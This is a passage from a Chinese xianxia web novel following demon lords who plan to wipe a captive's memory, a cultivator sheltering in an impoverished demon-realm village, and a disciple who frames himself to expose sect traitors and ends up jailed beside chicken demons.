“无极剑原来便是那天上神剑,却因沾染过多魔气最后成为了魔剑,我记得应该是有人为了用这剑镇压魔气才这样的吧?”楼栖凤很是正经地说出了自己的想法,“至于无极剑为何选这谢璟为主,但是按照预言,无极剑主应为下一任魔尊。” “…是吗?既然如此,他成为下一任魔尊,你们应该没有异议吧?”大人走到谢璟那边,蹲下来看着谢璟:“只不过,还是太弱了点。” “大人!我有个想法!”尹离郁又有新的鬼点子了,然后她开始炫耀起自己的富有来:“我最近投了点钱让小年年研究出了一种可以暴涨修为的液体,我们把小璟璟泡进去看看吧~” “…那个还在试验阶段,你是生怕人不死啊。”江易年虽然不介意拿魔族做实验,可无极剑主只有一个,用这个做实验是不是太那个了点…… “不能吗?那好吧,还有其他方法吗?”尹离郁失望了一下,就一下就兴致勃勃地看向大人:“说起来,我们不洗一下他的记忆吗?你看他现在的样子,哪里像个魔尊了。” 听到洗记忆后,谢璟终于肯动了,只见他抬起头看向这些魔修,他微微张口似乎想说什么,但是发现自己此时此刻就算说什么也无力反抗。 “我也觉得洗掉比较好。”楼栖凤对这个挺赞成的,她点了点头,准备围观。 “你们要是用药物就找我,神识方面别找我。”江易年也站在旁边提了一嘴,毕竟放着一个心向随清宗的家伙在这里可不是什么好事,还是去掉比较好。 “嗯,洗掉才像个魔尊。”段明野也觉得很对,他跟着点个头。 那位大人听到这话,也赞同点了点头,随后他重新看向了谢璟,此时此刻的谢璟终于肯看向他们了,而谢璟的眼里居然透露出了一丝绝然。 “我不同意。” …… “你的意见没有用,小魔尊。” “还有,你死不了的,别想了。” 第255章 魔界村子 红色的天空依旧在天上,黑雨一直往下落去,将这片早已贫瘠的土地一点一点地侵染,不远处的树上罕见地活了下来了,不仅如此,树上挂着一个两个红彤彤的果实。 “雨很大吧?”一位身穿破衫的女子笑着道,她正摆放着手里的草药,而秦兰时则是坐在椅子上,他有些好奇地打量着这里。 “的确很大,不过方才我敲了那么多门,怎的不见他们应我的?”秦兰时有些好奇地问道,天知道他明明感应到那些人就在里头,可就是没一个人理他。 这魔界就那么冷漠吗? 就在秦兰时想着要不要强闯民宅的时候,不远处一扇门就那么静悄悄地打开了,而打开那扇门的,便是眼前的这个女子。 “许是在害怕吧,这也是没办法,他们害怕的东西太多了,有黑雨,有外头危险的魔物,还有很多很多……”女子摇了摇头,有些无奈地叹了口气,随后她笑问道:“不知公子怎么称呼?” “我姓时,名澜,是力挽狂澜的澜,姑娘叫我时澜就好了。”秦兰时笑着给出自己的假名,毕竟这是他最满意的假名,出门在外,身份是自己给的。 “我叫季盈,是一名云游至此的医师,目前暂时居住在这里,对了,这间屋子的前主人死在外边了。”季盈最后提了那么一嘴,随后就转头看了秦兰时一眼:“不知时澜公子来到这里所为何事?” “我路过这里,准备往主城去。”秦兰时说的是实话,所以他还打算问问路呢:“季姑娘,你知道主城往哪个方向走吗?” “…等雨停吧。”季盈往外看去,微微叹了口气,“这场雨不好赶路。” “好~季姑娘是什么方面的医师?”秦兰时看了看那些草药,有他认识的,有他不认识的,反正也是无聊,所以他打算和季盈唠嗑几句。 “……”季盈沉默了一下,随后道:“原来,我是个给富贵人家治灵宠的兽医,只不过最近那贵人家里的灵宠不行了,所以我也就没有用,被赶了出来。” “工作不好做啊。”秦兰时听到这话,就面露一丝怜悯,果然哪里都有打工人,也是,魔界怎么着也是个需要有魔生存的地界,只不过秦兰时对魔界的印象只有整天喊杀杀杀的刚货。 “是啊。”季盈也感觉到秦兰时的同情,于是她也开始同情起自己来了:“所以我也算是外来的,不过我和你不一样,我在这里待了有几年。” “那你是给他们的鸡鸭鹅看病的吗?”秦兰时想了想自己探查到的那些被藏在地下洞里头的鸡鸭鹅,跟藏个大宝贝似的。 不过,也的确是宝贝。 “……一开始是的。”季盈摆弄药草的动作一顿,接着,秦兰时就听到季盈那声长叹,紧接着,就是来自季盈那句堪称无奈的话语: “但,我现在也医人了。” “人与兽,只要能活下去,又有何区别呢?” 秦兰时没有再说话了,很快,季盈摆弄完了草药后,就冲秦兰时笑了笑:“时澜公子瞧着也是个心好,和之前那帮家伙可不一样,对了,这屋子还挺大的,我睡在那间,公子如若不嫌弃可以找找其他空房间。” “好啊,季姑娘晚安~”秦兰时挥了挥手,笑得很是灿烂。 “嗯?好……晚安。”季盈听到这句话,愣了一下,随后笑了笑,她也用同样的话语回应道。 季盈离开了。 秦兰时则坐在屋子里头,他靠着窗,望着外头的情形,血红的天空,落个不停的黑雨,仿佛是天空给魔族惩罚那样,将苦难降临于此,压着他们的脊梁。 虽然早就听闻魔界的环境非常恶劣,但是他没有想到恶劣到这样,一路下来,他压根没看到什么还活着的生物。 ……那只冤骨的手算不算呢? 就这样,秦兰时在屋子里坐着坐着,突地,天上惊雷一响,随着那雷光闪过,秦兰时听到了急促的拍门声响起,而拍的似乎是这一扇门。 “有人吗?有人吗?”对方地声音里头满是绝望,秦兰时听到这声音就过去开门了,他的道德不允许他视而不见,而他的实力也放在那里,他可以探查到外头不是什么诱人出去吃掉的鬼怪。 外头的,是和他们一样会说话的人。 不过在魔界,这些人或多或少都有着魔的血统,只不过不够纯粹而已。 这种大部分被统称为魔人。 “什么事?”秦兰时打开了门,门外的人显然没有想到打开门的是一个大男人,他要找的不是大男人啊。 秦兰时也细细打量了一下这个人的模样,眉头紧皱,长着一副别人欠他几百万的模样。 “你是……?”这个人显然有些警惕。 “刘大哥?怎么了?”季盈不知什么时候在房间里头匆匆忙忙地跑出来,披头散发的,衣服也没好好穿,很显然她刚刚还在床上睡觉。 “你刘婶她肚子疼,你快去瞧瞧吧!!”刘大哥很急,他急得就想要伸手去抓季盈,但是被秦兰时一把拍开了。 “我知道你急,但是你总不能让大夫空手过去看你媳妇吧?”秦兰时收回手,有些不满地看着这个刘大哥,不过他也只是说了那么一句,就转头看向季盈了。 而季盈也早就习惯了,不过这次解决得有点快,所以她很是感激地看了秦兰时一眼,总之她出声安抚了一下刘大哥:“别急,我现在就去拿我的包,很快就过来。” 季盈说着,就急急忙忙地跑回去,很快她就拿了个小包出来。 其实秦兰时很想问一嘴你们不用储物袋吗?但是他略一细想,这储物袋好像也不是什么修士都能用得上,自己这样问是真的有些何不食肉糜了。 他们三人急匆匆地往某个屋子里,一路上的黑雨都有秦兰时用魔气罩给他们罩好了,所以他们回去得也快。 这些屋子内部的结构都差不多,破旧,但是屋顶又极其结实,而那个刘大哥的媳妇则躺在床上,挺着个大肚子,正在急促地呼吸着。 ……这是怀孕了? 秦兰时一愣,原来是这个肚子疼吗?总之旁边的季盈早就准备好,她拿出药草和问诊工具,轻轻抚上刘大哥媳妇的肚子,一边摸一边问哪里不舒服。 而季盈的技术也不错,很快,刘大哥媳妇就渐渐不痛了,但是季盈却有些凝重:“她这是快生了,估计就这几天。” “什么?!这下是真的要生了吗?”刘大哥显然有些惊讶,因为之前也是痛,但是都不生,这下子他那苦大仇深的脸上终于有了一丝笑容。 “嗯,是的,我再回去做些准备,然后我就过来这里看着她,就不用赶来赶去了。”季盈闻言笑了笑,随后就看到刘大哥很是开心地跪在床头边,并且握住了已然入睡媳妇的手。 “时澜公子,你愿意陪我回去一趟吗?刚刚多谢你,我出门不用撑伞,所以也没带上伞……”季盈有些不好意思地看了看秦兰时一眼。 “当然可以。”秦兰时当即就带着季盈往回赶,回去的路上,季盈就和他说起了村子里的一些事情。 “春娘这一胎可是这个村子里头这些年来第一个新生儿呢。”季盈说着就满眼期待的模样:“而且我刚刚过来的时候,她就怀上了,这胎一直是我看护着,也是终于等到这一天了。” “…第一个?”秦兰时听到了里头的一些特别字眼,于是他便顺着这个问道。 “…嗯,对的,第一个。”季盈顿了顿,随后接着往下说道:“…时澜公子,在魔界里头,活下去是最难的,他们仿佛从生下来开始就在受苦。” “你瞧着是个厉害的,应该没有见过这些吧?也是,这些哪能见到?”季盈说这话倒也不是嘲讽秦兰时,她只是在叹息着,而秦兰时也的确如她所说的那样,没吃过底层的苦。 “为什么这个村子里头一直以来没有新生儿呢?因为,那些村民认为把孩子生下来便是在受苦,所以,他们不如不生。”季盈给秦兰时细数着在魔界里头会遇到的苦难:“饥饿会把他们带走,大病小病也会把他们带走,外边虎视眈眈的魔物会把他们带走,还有那些厉害的魔修有些以小孩的血肉来修行。” “他们救不了自己的孩子,许多次。”季盈说着,他们已经回到了房屋里,药草还在柜子里放着,季盈走上前清点着:“所以,他们为了避免悲伤,选择不让孩子生下来,目前村子里的人口已经在逐渐变少了。” “你猜我这里备得最多的是什么药?“季盈看着从刚才起就一声不吭的秦兰时,苦笑道:“是打胎药。” 在魔界,弱小就是原罪。 那么……生呢? 这个村子或许以行为给出了答案。 他们或许正在走向毁灭,并且亲自掐灭生的希望,只留下死的孤寂。 “…所以,那位春娘的孩子……”秦兰时没想到这个村子里头还有这样的事情,他一时之间竟然不知如何应对:“他们选择生下来,是吗?” “是呀,你知道我听到他们说要孩子的时候,有多开心吗?”季盈治疗过了许多病人,自然也见过不少生离死别,而这次的接生,于她而言却是久别了。 “…他们能保护好吗?”秦兰时继续问着,与此同时,季盈也把药草都拿出来一一分类装好。 “不知道,但是他们说会豁出性命去保护好他们的孩子的……”季盈摇了摇头,她无法给出准确的答案:“时澜公子,最近村子里头因为外边那些横行霸道的魔修所以沉闷得很,所以我在想,如果能有一个新生儿的出现,会不会好一点呢?” “会吗?”秦兰时虽说没怎么吃过底层的苦,但是他也能够明白,这些村民需要的或许不是新生儿,而是生的希望,以这故事里头的麻木程度看,他总觉得有点不太可能。 “我希望会的,好了,我的东西拿好了,我们回去刘大哥那里吧~”季盈一蹦一跳地来到了秦兰时身边,等待秦兰时用起他那个厉害的魔气罩,把他们俩保护在里头,然后一起去迎接这场糟糕透的黑雨。 这几日,秦兰时没有走,而是看着季盈在这屋子里头忙上忙下的,他看着的同时偶尔还会搭把手,很快,就到了临产的那一天。 只不过那一天,村子的四周似乎不太稳定,春娘躺在床上,正在痛苦地叫着,刘大哥在床边安慰她,季盈则准备好了接生用的东西。 秦兰时看着外头,突然,他对其他人说了那么一句:“你们待在这里,不要乱走,我出去一趟。” “时澜公子?你要去哪?”这几日相处下来,季盈自然把秦兰时当成朋友了,她有些好奇地问道。 “去办一件事,很快回来,你们先忙。”秦兰时微微一笑,然后就拿着剑出门了,雨水没有打在他身上,自然被他用罩子隔绝在外。 秦兰时在黑雨里头穿梭,他拿着剑来到了村子的外围,他看到不远处涌动的魔物,它们像是嗅到了什么香味,正流着口水地往这边一点一点地挪过来。 在魔界,强者为尊。 那么,弱者呢? 弱者苟延残喘地活着,去承受着这天空真正给魔族带来的苦难。 秦兰时不知自己同情魔族是对还是错的,尽管他并不清楚这些人在这之前到底有没有做错过什么,但是只有一点,他心里很清楚,那就是这个村子里头要有新的生命要诞生了。 他如今是魔修没错。 但,他也是人。 为强者,当为弱者而拔剑。 因为苏岭月就是这样教秦兰时的。 …… 可有些时候,苏岭月也会叹气,因为人太过复杂,并没有表面的那么简单,但是他已把他所思所学都教予弟子们。 若要坚守自身。 需得无时无刻,叩问内心。 “天青尊者,据我所知,已有传闻说你们那随清宗叛徒秦兰时曾与其留下的弟子勾结在一起,当然,我知道勾结此言过于难听了些,我并非要说那些终成眷侣的师徒的不是,虽说他们不仅仅是师徒,还是男子,实在是有违人伦。” “但,这涉及到魔修,我们不得不管。” 顾延清冷眼看着坐在他对面的断恶庭信使,他们手边上的茶水无人愿动,很明显,这次的谈话不太顺利。 随清宗践行屠魔一事已久,但有时候,他们要屠的魔,并不在魔界。 而是在人心。 第256章 罪名 “…这话到底是什么意思?”顾延清像是不清楚,又或者他在装傻,他在给对方一个语言组织的机会。 但是很显然,对方的语言重新组织一遍还是那番话:“我们怀疑你们那位弟子和那魔修还有联系,我们需要和他稍微交流一下。” “……”顾延清没有回应这句话,而是换了个话题:“你们来这里就只为了这一件事吗?” “魔修的事情自然是至关重要的,你可记得当初屠魔之战里头,因为我们当中出了个叛徒,导致了那座城被魔族屠了个干净,并且那座城的魔气到现在还没被清理干净。” “城外四周被魔气寸草不生,如今那里虽在人界,但却像个小型魔界,无人敢深入其中。” 话题再次被绕了回去。 眼前的信使显然对此事不依不饶,很难不去多想背后是不是有人想要刻意搞他们随清宗。 但顾延清因为秦兰时,已经退让过了,而这次,也是因为秦兰时,怎么说他都不能让对方踩在随清宗的撒野。 “不好意思,此事涉及我们宗门名声,需得我回去和其他长老详谈完再做结论。”顾延清的语气很是不善,他当场就下了逐客令,只不过信使倒也不恼,也就乐呵呵地被随清宗请出宗门了。 这信使走后,顾延清当即派人去找散布这种用心险恶的谣言之人到底是谁,与此同时,他还本能地想要去找苏岭月商量,可才想了个开头,他才愣愣地想起他师父已经不在了。 于是他选择把燕明华,宋鸠和孟江离喊过来,可比他们先到的,却是唐山玉,唐山玉走过来,一副从容的模样,就那么在顾延清的对面坐下。 “看,这不就和我当初想要做的事情差不多了嘛?”唐山玉歪了歪头,一副很无奈的样子:“顾师伯,我说了,师祖刚仙逝不久,一定会有不懂事的狗被其他家伙怂恿着过来要撕咬一口。” “而我是最好的突破点,因为我不仅和刚入魔的秦兰时关系匪浅,而且因为我往日的低调,导致我的名声也不够大,所以名声这种东西帮不了我。”唐山玉那么说着,往后轻轻一靠,尽管他还喝着药,伤还没好,但脸色已经好了不少,只不过顾延清觉得他那包扎到脖颈上的绷带有些刺眼。 “断恶庭那正义名声比我大得多,什么断恶庭下无冤案,笑话,不过是它身上那好名声在引导人们去思考罢了。”唐山玉说到这里,抬头看了一眼顾延清,他微微叹了口气:“我之前那个计划,便是借用我之前在那言明派杜鹤所录下来那一系列口供。” “我要为我亲自编织罪名,好达到引蛇出洞的效果。” “…那你目前又有什么想法?”顾延清叹了口气,便继续问道:“断恶庭方才就是想要来拿人的,只不过我拖延了一下时间,我猜不过几日,过来的人就不止这一个信使了。” “顾师伯。”唐山玉很是温和地抬起手里的杯子,轻轻敲了一下旁边的茶壶,“你听说过……舆论战吗?” “那是什么?”顾延清听到这个有些陌生的词汇,生起了些许兴致,接着他端起那边的茶壶给唐山玉倒了一杯茶,这次茶终于被喝上了。 “嗯,就是……简单点来说,先让他们把我骂了个爽。”唐山玉眨了眨眼,笑着喝了一口茶,“先让这场戏,来到高潮,我们再给他们看的热闹来一场反转的戏码。” “唐师侄真是聪慧,只不过唐师徒想要怎么反转呢?也让师姑我听听看?”燕明明笑吟吟地走进来,寻了个位置便懒懒地坐下了。 而跟在她后头的有宋鸠和孟江离,而宋鸠熟练地看了一眼唐山玉身上的伤,确认一下情况后便也心安地坐下了。 孟江离咻咻地跑过来,坐在了唐山玉旁边,她就那么盯着唐山玉在看,可能是想要把唐山玉当秦兰时替身吧……开玩笑,可能是因为太想秦兰时了,所以就借着他唯一的徒弟去想念了。 “…这个反转其实不好控制的。”唐山玉没想到受到了那么强烈的目光注视过来,他挠了挠头:“你们没打过这个舆论战吗?” “……我们需要吗?”顾延清的眼神可谓是正直无比。 燕明华认真想了想,随后无比从容地摆了摆手。 宋鸠果断摇头。 孟江离对这些没兴趣,但是她会喝茶。 随清宗的眼神是正直,可能他们就算遇到过类似的情况,但是都凭借强大的实力取胜了。 人们都是崇拜强者的。 “咳,好吧,如果只是凭借舆论战,效果或许还不够,我们还需要更激烈一点的东西。”唐山玉说着,不知为何有一种莫名的压力笼罩着他,总之,他伸出一根手指,继续往下说道:“嗯,第一步,先让这天下人都骂我吧。” 尽情地,骂个痛快吧。 毕竟…… 置之死地而后生。 “…什么,居然真的有这样的事?”一位路过此地的散修听说了这件事,他一脸震惊,“这…这真是有违人伦!!一日为师,终身为父……怎可……” “没想到大宗门看着浩然正气的,居然背地里还有这种勾当!”这是看不得人好的修士,他觉得自己没有错,并且开始大肆宣扬起来了,甚至还在里头添油加醋了一番,好像真的是自己看到的一样。 “…这,会不会有什么隐情?秦尊者和唐小友那么好看,不应当啊,我还挺喜欢他们俩的……”这是有些犹豫的颜控修士,但是她们也并未直说这一切都是不可能的。 猜疑,愤怒,不满,嫉妒……等等这些属于人的负面情绪正一点一点地积累起来,静待着那一瞬间的爆发。 而这场爆发,是在有人提供了一枚水镜,水镜里头录下来杜鹤笑嘻嘻但是又很疲倦说出来的话:“什么?你说指使我的人?” “啊~你那么想知道吗?” “我…我知道这个人!”有人认出来了杜鹤,“这不就是几十年前那个……那个罪人杜鹤吗!!” “谁啊?前辈你给我讲讲呗?”不认识的人为了吃这口瓜特地凑了过去,很是期待地问道:“这个杜鹤到底犯了什么事?” “他?他犯的事可大了,断恶庭在他死之前目前都不知道他受谁的指使。”这个前辈给人讲了一遍当初的事情经过,这让吃瓜的人露出了愤怒的表情:“总之,这个水镜到底是谁给出来的,难不成是断恶庭他们弄的吗?” 水镜上的杜鹤像是欣赏又像是在等待什么,很快,他就说出了那个名字:“是随清宗的唐山玉指使我的。” 而这内容也被人验证过,都是真的,并没有作假的可能。 这惊雷可谓是大得出奇,一瞬间,人们的情绪就爆炸开来了,当即就有的看不惯随清宗的小宗门出手了,这火在随清宗的敌对宗门的引导下越烧越旺。 只见这火直接烧到了随清宗大门口来了。 而断恶庭也发现了此事,他们细想了一下,虽然他们并不知道这个证据是从何而来的,不过目前已经是他们的优势了,所以断恶庭又派了几个人过来找随清宗聊聊天了。 “顾宗主,目前的情况可太严重了,所以我们又来打扰您了,大伙们的呼声那么高,我们实在是不能当听不见啊。”其中一人开始给顾延清讲起了他们的无奈,并且还劝了一嘴:“我知道您对弟子们的爱护,但是,错了就是错了,您也是个明事理的,他这次已经不是单纯和魔修有勾结了。” “……”顾延清的表情依旧不是很好。 “顾宗主……”那人似是还想再劝,就看到顾延清动了动身子,就站了起来,顾延清俯视着他,给人一种居高临下的味道。 “我明白你的意思了。”顾延清微微垂眸,便轻声道:“明日,我亲自把他送去断恶庭。” “这才对嘛。”信使微微一笑,他觉得谈得也差不多了,于是也就站起来准备告辞走人了:“我就说你们大宗门就是明事理的,记得,明天要过来啊,不然我会亲自过来一趟的。” 说完,断恶庭的人就又走了。 顾延清看着他们离开的身影,便转身往屏风后边走去,因为黑石的存在得以偷听得顺顺利利的唐山玉正在后头吃着糕点。 唐山玉看到顾延清进来后就举起手里的糕点问了一句:“顾师伯,你要来一份吗?” “……不了。”顾延清看着那糕点顿了顿,他还是拒绝了,接着他便坐在了唐山玉的对面,“那个水镜已经散发出去了,看起来效果不错。” “效果不错就好,唉,一想到我明天去断恶庭坐牢没有这些吃,我就非常悲伤。”唐山玉说着,又吃了一块:“对了,断恶庭是先在那住下,然后就等待它的开庭?” “对,上次杜鹤只开一次是因为他早早承认了,如果你不承认的话,就会开三次,第一次确认你的态度和证据,第二次确认民众的态度,第三次就是……审判。” “审判?听着倒是权威。”唐山玉叼着糕点,稍微思索了一下,“也不知道这权威到底能存在多久?对了,顾师伯,叛徒那边怎么样?” “已经有些眉目了。”顾延清略微颔首。 “有眉目就好,也不枉我挨那么多骂,接下来只需要等明日的断恶庭就行了。”唐山玉想了想又道:“顾师伯,没事,要是最后他们死不放我出来,那我也就只能蹲一下牢了。” “…不行。”顾延清对此摇头拒绝了:“我会把你接回来的。” “…好吧。”唐山玉没有多言,他又邀请了一下顾延清要不要和他一起吃点甜糕,顾延清这次没立马拒绝,而是轻轻地来了一句: “你说阿璟他现在如何了?” 这语气,这望糕的神态,唐山玉都要怀疑这句话的下一句是:你说阿璟他会不会连这些糕点都没得吃呢。 不过顾延清并没有如愿地说出下一句,而是在等待唐山玉回答他方才那问题。 “…按你之前说的,谢璟对那些魔主来说有用,估计生命方面不会有事。”唐山玉吃完手里的糕点拍了拍手,随后想了一下书里的剧情:“顾师伯觉得那些魔主的目的是什么?” “…不知。”顾延清摇了摇头,他并非全知全能。 “嗯…就是,这是我的一个猜想啊,就是我单纯的一个想法,就是除了谢璟被带走外,那把魔剑也被带走了。”唐山玉努力从书里的剧情中分析一下,“有没有一种可能,谢璟要去当魔尊了?” 顾延清:……? 这个分析是不是有点超越他们目前获得那些线索里的认知。 “你别这样看着我,我只是猜想。”果然根据书里的剧情给出答案果然太过突然了吗?唐山玉轻咳了一声,随后轻轻将这个问题掀过去:“反正活着总能相见,到时候就知道了。” 顾延清没有继续问了。 而唐山玉略一低头,就瞧见了顾延清手腕上的贝壳手链,那手链很明显和谢璟先前戴着的一样,当初唐山玉就很好奇谢璟为什么会戴着这种东西。 因为无论是谢璟还是顾延清,似乎都对这种东西不太感兴趣。 这是一串不应该出现在他们身上的手链。 “…顾师伯,你喜欢他?”唐山玉问得也很直白,虽然早就给谢璟推理过了,但是他并没有直接问过顾延清本人。 而顾延清听到这一问,本能地躲闪一下唐山玉的目光,这一躲,就足够明显了。 “…顾延清。”唐山玉很是胆大地直呼顾延清的名字,他此时此刻就像极了秦兰时,一副那天不怕地不怕的模样摆在那里,仿佛就算天塌下来他也要作一曲天塌似的。 “我再问你一次,你喜欢谢璟吗?” …… 不知为何,顾延清居然感觉到了那么一丝威压。 这到底是哪一种威压? 顾延清还是第一次感觉到这种威压,可他本人因为没有经历过,所以不太清楚,但是他认真地回答了唐山玉: “是,我喜欢谢璟。” 第257章 进去了 某种意义上,这对儿也算是有点进展了,唐山玉的心情是怎么样的呢?欣慰也有,复杂也有。 但不管怎么样,这句喜欢,谢璟他听不到。 “这样啊……”唐山玉平静地点了点头,随后他拿出了一枚留音石,对着顾延清调皮一笑:“那?再说一遍?我记录下来。” 顾延清:…… 顾延清沉默。 “不说吗?顾师伯你这是害羞了?”唐山玉小小地催促了顾延清一下,就看到顾延清微微转了一下头,这头没有面对唐山玉,而是看着那边的墙角。 “……嘁。”唐山玉挑了挑眉,心知这人不会再说第二遍了,所以他只能面带可惜地收起那枚留音石,“行吧,不说就不说。” “……他又不喜欢我。”突地,唐山玉听到对面的顾延清小声嘀咕了那么一句,就这一句让唐山玉忍不住抬起头看了过来。 “什么?”顾延清刚才说了啥话,唐山玉怎么头一次感觉到自己的耳朵可能听觉有点毛病呢,不然怎么会听错呢。 “……阿璟不是喜欢你吗?”顾延清的头转了回来,只不过视线依旧飘忽着,他不敢看唐山玉的脸。 唐山玉:…… 唐山玉:??? “等一下!!”唐山玉急了,他觉得这件事哪里都透露着不对,虽然他和谢璟关系是不错,但是还没有到那种地步啊? 而且!!! 这本不是师徒文吗?和他们师兄弟有半毛钱关系啊!! 唐山玉心里在尖叫,但是表面却是依旧温和地问着:“什么?顾师伯你为什么会那么认为?我很专一的,心里只有秦兰时一个。” “……阿璟也有可能是单相思。”顾延清继续说着,他每说一句唐山玉就在拼命回忆,到底是哪一步出的错,他和谢璟不是正常玩耍吗? “是,是吗?可是我得知的事情是谢璟他挺喜欢你的。”本来还想谢璟亲口说的唐山玉为了证明自己的清白实在是忍不住替谢璟开口了。 “…不是那种喜欢。”顾延清说出这话后就有些沮丧。 “……顾师伯,他喜欢你的,就是那种喜欢。”唐山玉深深吸了一口气。 “不……他……” 唐山玉砰的一下就拍桌而起,他觉得自己的清白在顾延清的嘴里越描越黑,还有那谢璟的真心也是越说越歪。 “到底是我懂谈情说爱还是你更懂谈情说爱。”唐山玉身上散发着过来人的光芒,他直接抱臂,理直气壮地看着顾延清。 “……你懂。”顾延清也老实了。 “那不就是了,所以我说谢璟喜欢你就是喜欢你,你还反驳我吗?”唐山玉一副顾延清再说这句话就转头找个地方跳的冷酷模样。 “…不了。”顾延清有点低眉顺眼,但是也不是很低眉顺眼,只是特别老实地点了点头。 “…你们的事情按理来说我来管总有点不太对,但是我还是得先说一句……”唐山玉挠了挠头,总觉得这事太处理了:“…我希望你们能够互相说出来,而不是我来牵桥搭线。” “……” “…别沉默了,不管怎么样现在谢璟不在这里,你再怎么纠结也没有用…”唐山玉重新坐了回去,他看着顾延清,用指节轻轻敲了一下桌子,让顾延清从方才的情绪回过神来。 “…现在最主要的是宗门里头的叛徒,还有,到时候……顾师伯你可要过来救我呀。”唐山玉对此笑了笑,就算他明日就要去断恶庭了,唐山玉脸上的笑容依旧温和无比。 顾延清自然点头答应了。 次日。 天不是很亮,抬头看去,尽是灰蒙蒙的一片,路上,属于阅天说的纸张自空中飞扬而下,像场纷纷扬扬的白雪。 而人们伸出手接住那纸,他们看到了上面明晃晃地写着:秦兰时魔修弟子唐山玉已前往断恶庭认罪,承认自己指使杜鹤行祸害之事,可谓是天理难容。 江玉瑶和叶玄洲也看到这些纸张,他们坐在茶馆里头,手上拿着这张布告,上面列着杜鹤的罪状同时拉上唐山玉一起踩,踩完后又夸了一句随清宗大义灭亲,果然是个好宗门云云。 “…他们这是把随清宗架在火上烤,如果之后我们对山玉有什么其他动作,估计就会通过这阅天说告诉大伙们,这样随清宗的名声也会随之崩塌。”叶玄洲看着这阅天说上面写的东西,有些不满地啧了一声。 “…可恶,可恶。”江玉瑶拿着阅天说一边看一边低声对里面的内容进行文雅的芬芳话语,“这篇骂得太过分了,我好想花钱让人骂回去。” “…忍耐一下,玉瑶妹妹,现在还不是时候。”叶玄洲自然能够明白江玉瑶此时此刻的心情,他伸出手拍了拍江玉瑶的后背,安慰道:“放心好了,这种情况不会持续太久的。” “…玄洲哥哥,山玉哥哥他让你弄的东西弄得怎么样了?”江玉瑶呼气吸气,终于把这份愤怒给压制下去了,她转头问道:“资金方面还行吗?” “嗯,还可以,比起这个,我们可能更需要名声,闻天说那边的谈判果然不顺利,所以只能自己试试了。” “…我记得…李道友家那边好像……?”江玉瑶把这纸狠狠揉了揉几下,她选择不再看了,太糟心了。 “哦,他家啊,他家的确名声比我们家大,读书人就是好啊,以文入道,博得不少读书人喜爱……明明笔墨纸砚都是要花钱弄的买的……”叶玄洲摆了摆手,承认了一下自己浑身上下的铜臭味后,才慢悠悠地拿起手边的茶杯,装模作样喝了一口。 “由他们来做这件事,应该可以?”江玉瑶对于这些事情懂得不多,她只是个钻研医术和打扮的小女孩而已。 “赚名声的事情,何乐而不为?再说了,那也是得把那些东西用出来看情况再做的,于他们而言,这并不亏,成了,这阅天说估计就变成了骗天说了。”叶玄洲想到这事情,开心地又喝了好几口茶。 “对了,方安城上哪里去了?”江玉瑶拿起茶点心放入嘴里,细细咀嚼其香甜。 “他啊……”叶玄洲特别帅气地摇晃了一下茶杯,一副高深莫测的模样道:“去做该做的事情去了。” 另一边,方安城跃至房屋上,他拿着手里的追踪符,符上闪烁着红光,他看到这抹红光后,便抬手拉低了一下兜帽,掩住了眼里那阴冷的杀意。 而在下方,有一个人慌慌张张地左右张望,他面露惊恐,手上拿着剑,警惕着四周的一切。 四周悄然无声,唯有树上乌鸦寂寞地乱叫,可就算这样,他也不敢大意。 也不知何时随清宗突然开始肃清叛徒,搞得他们人心惶惶的,有的打算按兵不动,有的则是打算逃跑,而他则是觉得这件事不能再拖的一员,正打算带着家当准备逃离随清宗管辖的区域。 可这一逃,就被发现了。 所幸他有个法宝,一次可带他钻个千里之外,只不过用的灵力也是真的多。 “…该死,真难摆脱,本来还不想用的。”毕竟这耗的灵力是真的多,一时之间他又找不到其他补给的地方。 “……呵。” 似有人在轻笑。 还没等叛徒反应过来,就见到一道黑影朝他闪了过来,这叛徒当即闪身躲避开来,他朝着那黑影挥出几条剑气,而剑气却被那黑影轻松躲过。 “…你…你到底怎么追上来的,明明……我明明用了法宝……” 方安城抬脚一击不成,便又变换另一只脚朝叛徒身上狠狠踢去,叛徒的剑在刹那被震飞了出去,他慌乱去捡,却被方安城直接一脚踢在脸上,几乎是一瞬间的事,叛徒的眼珠往上翻去,徒留一片茫然的白。 “……跑着追过来的。”方安城在人晕倒后晃了晃腿,便重新放下,他拿出一枚通讯符和人汇报后,就伸出手拉起这人的衣角,往宗门的方向走去。 四周的乌鸦因为方才这动乱里叫得更加激烈,也有可能是天空阴沉得要下雨的缘故,不管怎么样,在这种环境下,一道冷冽无比的声音很是无情地念着: “……第五十八个。” 五十八、五十九……六十。 这是唐山玉走进断恶庭牢房的第一天,他被人带着往里面走,一边走一边数着他往里走看到的牢房数。 “…就是这里了。”守卫停了下来,开始开牢门的锁。 “哦。”唐山玉倒是淡然,看上去不像来坐牢的,反倒是来旅游的,锁链在他手上轻轻晃动着。 “……”守卫等了一会儿见人什么也没说,便继续道:“进去吧。” “哎,好的。”唐山玉特别乖地走进去,进去后他打量了一下这里,发现这里的条件的确刻苦,估计这几天他要与牢房里的阿鼠阿强做伴了,“等等,能不能……” 守卫毫不犹豫地走了,仿佛就是等这一刻。 “…给我个毯子……” 守卫特别爽地走了。 唐山玉:…… 先看看狱友吧。 唐山玉决定好了,就算这几天他的身心里的身得不到满足,他也要获得精神上的满足。 “你们好……”唐山玉这样想着,就开始笑得灿烂地准备和人打交道…… “…咯咯咯咯咯咯?” 只见几只鸡妖坐在墙角那里,正在张开嘴去接牢房上滴落的雨水。 唐山玉:…… …这几只鸡有点眼熟啊? ……这几只他好像在哪里见过啊?? “…喝?喝水嘛?”其中一只鸡热情地开口邀请唐山玉。 “…你们不是在和鸭妖一起卖灵米吗?”唐山玉瞳孔开始地震,他就说最近好像忘记了什么,他忘记收钱了。 当初匆匆一别,唐山玉就和鸡妖鸭妖们达成了愉快合作,鸡妖按照他的计划去工作,开店,赚钱,而他负责收钱。 “对呀!灵米!咦?你怎么知道?”阿鸡们一如既往地纯真,他们眼睛瞪得大大的,一看就只会流口水。 …差点忘了他现在不是唐小鸡。 “…我是小唐的合作朋友。”唐山玉开始忽悠起这群鸡来,忽悠完了最后,这些阿鸡们就更加热情地邀请唐山玉过去喝上边滴落的雨水。 “不用了谢谢,比起这个,你们为什么会进来?”按理来说,这些鸡很听话啊,不出意外应该不会犯法吧? 而出了意外的话……他们就在牢里相遇了,正如此时。 “这个啊,我们明明好好地卖着灵米,但是不知道为什么突然窜出几个人修过来把我们给绑了,说什么我们没有给钱……”记忆好的鸡开始回忆痛苦的过往。 “原来卖东西要先给钱的吗?”不聪明的鸡开始怀疑鸡生。 